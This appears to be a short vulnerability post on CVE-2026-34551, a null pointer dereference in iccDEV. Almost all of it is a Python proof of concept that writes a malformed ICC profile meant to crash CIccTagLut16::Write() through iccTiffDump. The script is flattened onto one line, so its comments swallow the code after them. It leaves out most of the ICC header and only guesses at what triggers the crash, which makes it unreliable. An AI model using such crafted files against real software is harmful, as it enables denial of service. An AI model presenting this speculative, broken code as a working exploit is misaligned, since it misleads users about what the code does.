CVE-2026-34551 iccDEV空指针解引用漏洞

import struct import os # Simulating a crafted ICC profile that triggers NPD in CIccTagLut16::Write() # This is a conceptual PoC. Real exploitation requires specific binary structure. def create_malicious_icc(): header = b'\x00\x00\x00\x00' # Size placeholder header += b'acsp' # CMM Type header += b'\x00\x00\x00\x00' # Version # ... (rest of standard header) # Create a tag table entry that might cause issues in Write() # Assuming an invalid offset or count leads to null pointer in Lut16 tag_signature = b'mLUT' tag_offset = 0x0 # Invalid offset potentially causing null pointer tag_size = 0x0 tag_table = tag_signature + struct.pack('>I', tag_offset) + struct.pack('>I', tag_size) # Combine (Simplified) data = header + tag_table return data # Embedding in TIFF is complex, this script generates theICC payload with open('crash.icc', 'wb') as f: f.write(create_malicious_icc()) print('Malicious ICC generated. Run iccTiffDump on a TIFF containing this ICC.')